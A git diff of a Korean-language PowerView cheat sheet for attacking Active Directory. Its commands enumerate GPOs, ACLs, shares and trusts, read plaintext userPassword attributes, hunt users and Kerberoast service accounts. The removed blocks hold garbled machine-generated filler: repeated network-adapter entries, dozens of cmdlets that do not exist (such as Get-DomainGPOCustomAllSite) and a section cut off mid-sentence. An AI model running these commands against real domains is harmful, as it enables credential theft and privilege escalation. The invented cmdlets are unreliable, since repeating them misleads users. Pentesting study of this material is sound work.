만약 공격자가 **GPO에 대한 높은 권한**을 가지고 있다면, **사용자에게 권한을 추가**하거나, 호스트에 **로컬 관리자 사용자를 추가**하거나, 즉시 **작업을 수행할 예약된 작업을 생성**하여 이를 악용하여 **권한 상승**을 할 수 있습니다.\
|
||||
[**자세한 정보 및 악용 방법은 이 링크를 참조하세요**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
```powershell
|
||||
#GPO
|
||||
Get-DomainGPO | select displayName #Check the names for info
|
||||
|
@ -333,9 +186,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
|
|||
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
|
||||
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
|
||||
```
|
||||
**ACL (Access Control List)**은 파일 시스템이나 리소스에 대한 액세스 권한을 관리하는 데 사용되는 메커니즘입니다. ACL은 개별 사용자 또는 그룹에 대한 특정 작업(읽기, 쓰기, 실행 등)을 허용하거나 거부하는 데 사용됩니다.
|
||||
|
||||
ACL을 이용하여 GPOs와 ACLs의 권한을 악용하는 방법을 배우려면 다음을 참조하세요:
|
||||
**GPO 및 ACL 권한을 악용하는 방법을 배우세요:**
|
||||
|
||||
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
|
||||
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
|
||||
|
@ -363,318 +214,12 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
|
|||
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
|
||||
```
|
||||
### 공유 파일 및 폴더
|
||||
|
||||
PowerView는 네트워크에서 공유 파일 및 폴더를 식별하고 액세스 권한을 확인하는 데 사용할 수 있습니다.
|
||||
|
||||
#### Get-NetShare
|
||||
|
||||
`Get-NetShare` 명령은 현재 시스템에서 공유된 폴더를 나열합니다. 이 명령은 공유 이름, 경로, 설명 및 액세스 권한을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetShare
|
||||
```
|
||||
|
||||
#### Get-NetLoggedon
|
||||
|
||||
`Get-NetLoggedon` 명령은 현재 시스템에 로그온한 사용자를 식별합니다. 이 명령은 사용자 이름, 도메인, SID 및 로그온 시간을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetLoggedon
|
||||
```
|
||||
|
||||
#### Get-NetSession
|
||||
|
||||
`Get-NetSession` 명령은 현재 시스템에서 활성 세션을 식별합니다. 이 명령은 사용자 이름, 컴퓨터 이름, 세션 ID 및 로그온 시간을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetSession
|
||||
```
|
||||
|
||||
#### Get-NetFile
|
||||
|
||||
`Get-NetFile` 명령은 현재 시스템에서 열린 파일을 식별합니다. 이 명령은 파일 이름, 사용자 이름, 컴퓨터 이름 및 파일 ID를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetFile
|
||||
```
|
||||
|
||||
#### Get-NetPrinter
|
||||
|
||||
`Get-NetPrinter` 명령은 현재 시스템에서 공유된 프린터를 식별합니다. 이 명령은 프린터 이름, 포트 이름, 드라이버 이름 및 프린터 위치를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetPrinter
|
||||
```
|
||||
|
||||
#### Get-NetConnectionProfile
|
||||
|
||||
`Get-NetConnectionProfile` 명령은 현재 시스템의 네트워크 연결 프로필을 식별합니다. 이 명령은 프로필 이름, 인터페이스 이름, 네트워크 이름 및 프로필 상태를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetConnectionProfile
|
||||
```
|
||||
|
||||
#### Get-NetFirewallRule
|
||||
|
||||
`Get-NetFirewallRule` 명령은 현재 시스템의 방화벽 규칙을 식별합니다. 이 명령은 규칙 이름, 프로토콜, 로컬 및 원격 IP 주소, 포트 및 액션을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetFirewallRule
|
||||
```
|
||||
|
||||
#### Get-NetOffloadGlobalSetting
|
||||
|
||||
`Get-NetOffloadGlobalSetting` 명령은 현재 시스템의 네트워크 오프로드 전역 설정을 식별합니다. 이 명령은 오프로드 설정 상태를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetOffloadGlobalSetting
|
||||
```
|
||||
|
||||
#### Get-NetOffloadSetting
|
||||
|
||||
`Get-NetOffloadSetting` 명령은 현재 시스템의 네트워크 오프로드 설정을 식별합니다. 이 명령은 인터페이스 이름, 오프로드 설정 상태 및 오프로드 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetOffloadSetting
|
||||
```
|
||||
|
||||
#### Get-NetQosPolicy
|
||||
|
||||
`Get-NetQosPolicy` 명령은 현재 시스템의 QoS(품질 서비스) 정책을 식별합니다. 이 명령은 정책 이름, DSCP(차등 서비스 코드 포인트), IP 주소 범위 및 포트 범위를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetQosPolicy
|
||||
```
|
||||
|
||||
#### Get-NetRoute
|
||||
|
||||
`Get-NetRoute` 명령은 현재 시스템의 라우팅 테이블을 식별합니다. 이 명령은 네트워크 대상, 인터페이스 이름, 인터페이스 메트릭 및 네트워크 주소를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetRoute
|
||||
```
|
||||
|
||||
#### Get-NetIPAddress
|
||||
|
||||
`Get-NetIPAddress` 명령은 현재 시스템의 IP 주소를 식별합니다. 이 명령은 인터페이스 이름, IP 주소, 서브넷 마스크 및 주소 유형을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetIPAddress
|
||||
```
|
||||
|
||||
#### Get-NetAdapter
|
||||
|
||||
`Get-NetAdapter` 명령은 현재 시스템의 네트워크 어댑터를 식별합니다. 이 명령은 인터페이스 이름, 인터페이스 상태, 링크 속도 및 MAC 주소를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapter
|
||||
```
|
||||
|
||||
#### Get-NetAdapterStatistics
|
||||
|
||||
`Get-NetAdapterStatistics` 명령은 현재 시스템의 네트워크 어댑터 통계를 식별합니다. 이 명령은 인터페이스 이름, 패킷 수신 및 전송, 바이트 수신 및 전송을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterStatistics
|
||||
```
|
||||
|
||||
#### Get-NetAdapterRss
|
||||
|
||||
`Get-NetAdapterRss` 명령은 현재 시스템의 네트워크 어댑터 RSS(수신 측 스케일링) 설정을 식별합니다. 이 명령은 인터페이스 이름, RSS 설정 상태 및 RSS 프로세서 수를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterRss
|
||||
```
|
||||
|
||||
#### Get-NetAdapterAdvancedProperty
|
||||
|
||||
`Get-NetAdapterAdvancedProperty` 명령은 현재 시스템의 네트워크 어댑터 고급 속성을 식별합니다. 이 명령은 인터페이스 이름, 속성 이름, 속성 값 및 속성 설명을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterAdvancedProperty
|
||||
```
|
||||
|
||||
#### Get-NetAdapterBinding
|
||||
|
||||
`Get-NetAdapterBinding` 명령은 현재 시스템의 네트워크 어댑터 바인딩을 식별합니다. 이 명령은 인터페이스 이름, 바인딩 구성 요소 및 바인딩 상태를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterBinding
|
||||
```
|
||||
|
||||
#### Get-NetAdapterChecksumOffload
|
||||
|
||||
`Get-NetAdapterChecksumOffload` 명령은 현재 시스템의 네트워크 어댑터 체크섬 오프로드 설정을 식별합니다. 이 명령은 인터페이스 이름, 체크섬 오프로드 설정 상태 및 체크섬 오프로드 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterChecksumOffload
|
||||
```
|
||||
|
||||
#### Get-NetAdapterEncapsulatedPacketTaskOffload
|
||||
|
||||
`Get-NetAdapterEncapsulatedPacketTaskOffload` 명령은 현재 시스템의 네트워크 어댑터 캡슐화된 패킷 작업 오프로드 설정을 식별합니다. 이 명령은 인터페이스 이름, 캡슐화된 패킷 작업 오프로드 설정 상태 및 캡슐화된 패킷 작업 오프로드 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterEncapsulatedPacketTaskOffload
|
||||
```
|
||||
|
||||
#### Get-NetAdapterIPsecOffload
|
||||
|
||||
`Get-NetAdapterIPsecOffload` 명령은 현재 시스템의 네트워크 어댑터 IPsec 오프로드 설정을 식별합니다. 이 명령은 인터페이스 이름, IPsec 오프로드 설정 상태 및 IPsec 오프로드 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterIPsecOffload
|
||||
```
|
||||
|
||||
#### Get-NetAdapterLso
|
||||
|
||||
`Get-NetAdapterLso` 명령은 현재 시스템의 네트워크 어댑터 LSO(대량 송신 오프로드) 설정을 식별합니다. 이 명령은 인터페이스 이름, LSO 설정 상태 및 LSO 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterLso
|
||||
```
|
||||
|
||||
#### Get-NetAdapterPacketDirect
|
||||
|
||||
`Get-NetAdapterPacketDirect` 명령은 현재 시스템의 네트워크 어댑터 패킷 직접 설정을 식별합니다. 이 명령은 인터페이스 이름, 패킷 직접 설정 상태 및 패킷 직접 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterPacketDirect
|
||||
```
|
||||
|
||||
#### Get-NetAdapterPowerManagement
|
||||
|
||||
`Get-NetAdapterPowerManagement` 명령은 현재 시스템의 네트워크 어댑터 전원 관리 설정을 식별합니다. 이 명령은 인터페이스 이름, 전원 관리 설정 상태 및 전원 관리 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterPowerManagement
|
||||
```
|
||||
|
||||
#### Get-NetAdapterQos
|
||||
|
||||
`Get-NetAdapterQos` 명령은 현재 시스템의 네트워크 어댑터 QoS(품질 서비스) 설정을 식별합니다. 이 명령은 인터페이스 이름, QoS 설정 상태 및 QoS 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterQos
|
||||
```
|
||||
|
||||
#### Get-NetAdapterRdma
|
||||
|
||||
`Get-NetAdapterRdma` 명령은 현재 시스템의 네트워크 어댑터 RDMA(원격 DMA) 설정을 식별합니다. 이 명령은 인터페이스 이름, RDMA 설정 상태 및 RDMA 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterRdma
|
||||
```
|
||||
|
||||
#### Get-NetAdapterRsc
|
||||
|
||||
`Get-NetAdapterRsc` 명령은 현재 시스템의 네트워크 어댑터 RSC(수신 측 스케일링) 설정을 식별합니다. 이 명령은 인터페이스 이름, RSC 설정 상태 및 RSC 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterRsc
|
||||
```
|
||||
|
||||
#### Get-NetAdapterRss
|
||||
|
||||
`Get-NetAdapterRss` 명령은 현재 시스템의 네트워크 어댑터 RSS(수신 측 스케일링) 설정을 식별합니다. 이 명령은 인터페이스 이름, RSS 설정 상태 및 RSS 프로세서 수를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterRss
|
||||
```
|
||||
|
||||
#### Get-NetAdapterSriov
|
||||
|
||||
`Get-NetAdapterSriov` 명령은 현재 시스템의 네트워크 어댑터 SR-IOV(단일 물리적 I/O 가상화) 설정을 식별합니다. 이 명령은 인터페이스 이름, SR-IOV 설정 상태 및 SR-IOV 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterSriov
|
||||
```
|
||||
|
||||
#### Get-NetAdapterSriovVf
|
||||
|
||||
`Get-NetAdapterSriovVf` 명령은 현재 시스템의 네트워크 어댑터 SR-IOV 가상 함수(VF) 설정을 식별합니다. 이 명령은 인터페이스 이름, VF 인덱스, VF 상태 및 VF MAC 주소를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterSriovVf
|
||||
```
|
||||
|
||||
#### Get-NetAdapterVmq
|
||||
|
||||
`Get-NetAdapterVmq` 명령은 현재 시스템의 네트워크 어댑터 VMQ(가상 머신 큐) 설정을 식별합니다. 이 명령은 인터페이스 이름, VMQ 설정 상태 및 VMQ 큐 수를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterVmq
|
||||
```
|
||||
|
||||
#### Get-NetAdapterVPort
|
||||
|
||||
`Get-NetAdapterVPort` 명령은 현재 시스템의 네트워크 어댑터 가상 포트 설정을 식별합니다. 이 명령은 인터페이스 이름, 가상 포트 ID, 가상 포트 상태 및 가상 포트 MAC 주소를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterVPort
|
||||
```
|
||||
|
||||
#### Get-NetAdapterVPortSetting
|
||||
|
||||
`Get-NetAdapterVPortSetting` 명령은 현재 시스템의 네트워크 어댑터 가상 포트 설정을 식별합니다. 이 명령은 인터페이스 이름, 가상 포트 ID, 가상 포트 설정 상태 및 가상 포트 설정 값을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterVPortSetting
|
||||
```
|
||||
|
||||
#### Get-NetAdapterWakeUp
|
||||
|
||||
`Get-NetAdapterWakeUp` 명령은 현재 시스템의 네트워크 어댑터 웨이크업 설정을 식별합니다. 이 명령은 인터페이스 이름, 웨이크업 설정 상태 및 웨이크업 패턴을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterWakeUp
|
||||
```
|
||||
|
||||
#### Get-NetAdapterWoL
|
||||
|
||||
`Get-NetAdapterWoL` 명령은 현재 시스템의 네트워크 어댑터 WoL(매직 패킷) 설정을 식별합니다. 이 명령은 인터페이스 이름, WoL 설정 상태 및 WoL 패턴을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterWoL
|
||||
```
|
||||
|
||||
#### Get-NetAdapterPhysical
|
||||
|
||||
`Get-NetAdapterPhysical` 명령은 현재 시스템의 물리적 네트워크 어댑터를 식별합니다. 이 명령은 인터페이스 이름, 인터페이스 상태, 링크 속도 및 MAC 주소를 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterPhysical
|
||||
```
|
||||
|
||||
#### Get-NetAdapterHardwareInfo
|
||||
|
||||
`Get-NetAdapterHardwareInfo` 명령은 현재 시스템의 네트워크 어댑터 하드웨어 정보를 식별합니다. 이 명령은 인터페이스 이름, 하드웨어 정보 유형 및 하드웨어 정보 값을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterHardwareInfo
|
||||
```
|
||||
|
||||
#### Get-NetAdapterPowerManagement
|
||||
|
||||
`Get-NetAdapterPowerManagement` 명령은 현재 시스템의 네트워크 어댑터 전원 관리 설정을 식별합니다. 이 명령은 인터페이스 이름, 전원 관리 설정 상태 및 전원 관리 기능을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetAdapterPowerManagement
|
||||
```
|
||||
|
||||
#### Get-NetAdapterQos
|
||||
|
||||
`Get-NetAdapterQos` 명령은 현재 시스템의 네트워크 어댑터 QoS(품질 서비스
|
||||
```powershell
|
||||
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
|
||||
Find-DomainShare -CheckShareAccess #Search readable shares
|
||||
Find-InterestingDomainShareFile #Find interesting files, can use filters
|
||||
```
|
||||
### 도메인 신뢰
|
||||
|
||||
Domain trust is a relationship established between two domains that allows users from one domain to access resources in another domain. Trust relationships are commonly used in large organizations with multiple domains to facilitate user authentication and resource access across domains.
|
||||
|
||||
도메인 신뢰는 두 도메인 간에 설정된 관계로, 한 도메인의 사용자가 다른 도메인의 리소스에 접근할 수 있도록 합니다. 신뢰 관계는 여러 도메인을 가진 대규모 조직에서 사용자 인증 및 리소스 접근을 용이하게 하기 위해 일반적으로 사용됩니다.
|
||||
```powershell
|
||||
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
|
||||
Get-DomainTrust #Same
|
||||
|
@ -691,9 +236,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
|||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### 낮은 수준의 과일
|
||||
|
||||
낮은 수준의 과일은 쉽게 접근 가능하고 적은 노력으로 얻을 수 있는 취약점을 의미합니다. 이러한 취약점은 주로 기본 보안 설정이나 약한 암호 등으로 인해 발생할 수 있습니다. 낮은 수준의 과일을 공격자는 쉽게 이용할 수 있으므로 시스템 보안을 강화하는 것이 중요합니다.
|
||||
### 쉬운 과일
|
||||
```powershell
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
@ -732,42 +275,6 @@ Invoke-UserHunter -GroupName "RDPUsers"
|
|||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
### 삭제된 객체
|
||||
|
||||
Deleted objects are objects in Active Directory that have been marked for deletion but have not yet been permanently removed. These objects can still be accessed and manipulated by an attacker, making them a potential security risk. PowerShell provides several commands in the PowerView module that can be used to interact with deleted objects in Active Directory.
|
||||
|
||||
#### Get-DomainDeletedObject
|
||||
|
||||
The `Get-DomainDeletedObject` command retrieves information about deleted objects in Active Directory. This includes the object's name, distinguished name (DN), object class, and when it was deleted. By default, this command retrieves all deleted objects in the current domain.
|
||||
|
||||
```powershell
|
||||
Get-DomainDeletedObject
|
||||
```
|
||||
|
||||
#### Restore-DomainObject
|
||||
|
||||
The `Restore-DomainObject` command can be used to restore a deleted object in Active Directory. This command requires the object's distinguished name (DN) as input.
|
||||
|
||||
```powershell
|
||||
Restore-DomainObject -DN "CN=DeletedUser,OU=Users,DC=example,DC=com"
|
||||
```
|
||||
|
||||
#### Remove-DomainObject
|
||||
|
||||
The `Remove-DomainObject` command permanently removes a deleted object from Active Directory. This command also requires the object's distinguished name (DN) as input.
|
||||
|
||||
```powershell
|
||||
Remove-DomainObject -DN "CN=DeletedUser,OU=Users,DC=example,DC=com"
|
||||
```
|
||||
|
||||
#### Get-DomainObjectAcl
|
||||
|
||||
The `Get-DomainObjectAcl` command retrieves the access control list (ACL) for a specified object in Active Directory. This command can be used to view the permissions assigned to a deleted object.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectAcl -Identity "CN=DeletedUser,OU=Users,DC=example,DC=com"
|
||||
```
|
||||
|
||||
By understanding how to interact with deleted objects in Active Directory using PowerShell, a pentester can identify and potentially exploit security vulnerabilities in an organization's infrastructure.
|
||||
```powershell
|
||||
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
|
||||
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
|
||||
|
@ -775,338 +282,15 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
|||
```
|
||||
### 기타
|
||||
|
||||
#### SID를 이름으로 변환하기
|
||||
|
||||
```powershell
|
||||
ConvertFrom-SID -SID <SID>
|
||||
```
|
||||
|
||||
이 명령은 주어진 SID를 해당하는 계정 또는 그룹의 이름으로 변환합니다.
|
||||
|
||||
#### Name to SID
|
||||
|
||||
```powershell
|
||||
ConvertTo-SID -Name <Name>
|
||||
```
|
||||
|
||||
이 명령은 주어진 계정 또는 그룹의 이름을 해당하는 SID로 변환합니다.
|
||||
|
||||
#### Get Current User SID
|
||||
|
||||
```powershell
|
||||
Get-CurrentUserSID
|
||||
```
|
||||
|
||||
이 명령은 현재 사용자의 SID를 가져옵니다.
|
||||
|
||||
#### Get User SID
|
||||
|
||||
```powershell
|
||||
Get-UserSID -Username <Username>
|
||||
```
|
||||
|
||||
이 명령은 주어진 사용자의 SID를 가져옵니다.
|
||||
|
||||
#### Get Group SID
|
||||
|
||||
```powershell
|
||||
Get-GroupSID -GroupName <GroupName>
|
||||
```
|
||||
|
||||
이 명령은 주어진 그룹의 SID를 가져옵니다.
|
||||
|
||||
#### Get Domain SID
|
||||
|
||||
```powershell
|
||||
Get-DomainSID
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 SID를 가져옵니다.
|
||||
|
||||
#### Get Domain SID History
|
||||
|
||||
```powershell
|
||||
Get-DomainSIDHistory
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 SID 히스토리를 가져옵니다.
|
||||
|
||||
#### Get Domain Trusts
|
||||
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 신뢰 관계를 가져옵니다.
|
||||
|
||||
#### Get Domain Controllers
|
||||
|
||||
```powershell
|
||||
Get-DomainController
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 도메인 컨트롤러를 가져옵니다.
|
||||
|
||||
#### Get Domain Forest
|
||||
|
||||
```powershell
|
||||
Get-DomainForest
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 도메인 포레스트를 가져옵니다.
|
||||
|
||||
#### Get Domain Policy
|
||||
|
||||
```powershell
|
||||
Get-DomainPolicy
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 도메인 정책을 가져옵니다.
|
||||
|
||||
#### Get Domain GPO
|
||||
|
||||
```powershell
|
||||
Get-DomainGPO
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO User
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOUser
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 사용자별 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Computer
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOComputer
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 컴퓨터별 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Group
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOGroup
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 그룹별 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Service
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOService
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 서비스별 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Site
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOSite
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 사이트별 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Domain
|
||||
|
||||
```powershell
|
||||
Get-DomainGPODomain
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 도메인별 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO OU
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOOU
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 OU별 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Local
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOLocal
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 로컬 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustom
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom User
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomUser
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 사용자별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom Computer
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomComputer
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 컴퓨터별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom Group
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomGroup
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 그룹별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom Service
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomService
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 서비스별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom Site
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomSite
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 사이트별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom Domain
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomDomain
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 도메인별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom OU
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomOU
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 OU별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom Local
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomLocal
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 로컬 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom All
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomAll
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 모든 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom All User
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomAllUser
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 모든 사용자별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom All Computer
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomAllComputer
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 모든 컴퓨터별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom All Group
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomAllGroup
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 모든 그룹별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom All Service
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomAllService
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 모든 서비스별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom All Site
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomAllSite
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 모든 사이트별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom All Domain
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomAllDomain
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 모든 도메인별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom All OU
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomAllOU
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 모든 OU별 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
|
||||
#### Get Domain GPO Custom All Local
|
||||
|
||||
```powershell
|
||||
Get-DomainGPOCustomAllLocal
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 모든 로컬 사용자 정의 그룹 정책 객체(GPO)를 가져옵니다.
|
||||
#### SID를 이름으로 변경
|
||||
```powershell
|
||||
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
|
||||
```
|
||||
#### Kerberoast
|
||||
|
||||
Kerberoast는 암호화된 서비스 계정의 해시를 추출하는 기술입니다. 이 기술은 악의적인 사용자가 암호화된 서비스 계정의 해시를 획득하여 오프라인으로 공격할 수 있게 해줍니다. Kerberoast는 주로 서비스 계정의 암호를 크래킹하기 위해 사용됩니다.
|
||||
|
||||
Kerberoast는 주로 다음과 같은 단계로 수행됩니다:
|
||||
|
||||
1. 사용 가능한 서비스 계정 식별: Powerview를 사용하여 도메인 내에서 사용 가능한 서비스 계정을 식별합니다.
|
||||
2. 서비스 계정의 SPN(서비스 주체 이름) 식별: Powerview를 사용하여 서비스 계정의 SPN을 식별합니다.
|
||||
3. 서비스 계정의 해시 추출: Powerview를 사용하여 서비스 계정의 해시를 추출합니다.
|
||||
4. 해시 크래킹: 추출한 해시를 오프라인으로 크래킹하여 암호를 파악합니다.
|
||||
|
||||
Kerberoast는 암호화된 서비스 계정의 해시를 획득하여 암호를 파악하는 강력한 기술입니다. 따라서 시스템 보안을 강화하기 위해 서비스 계정의 암호 정책을 강화하고, 사용하지 않는 서비스 계정을 비활성화하는 것이 중요합니다.
|
||||
```powershell
|
||||
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
|
||||
```
|
||||
#### 다른 자격 증명 사용하기 (인자)
|
||||
|
||||
You can use different credentials when running PowerView commands by specifying the `-Credential` argument. This allows you to execute commands with the privileges of a different user.
|
||||
|
||||
```powershell
|
||||
Get-NetUser -Credential <username>
|
||||
```
|
||||
|
||||
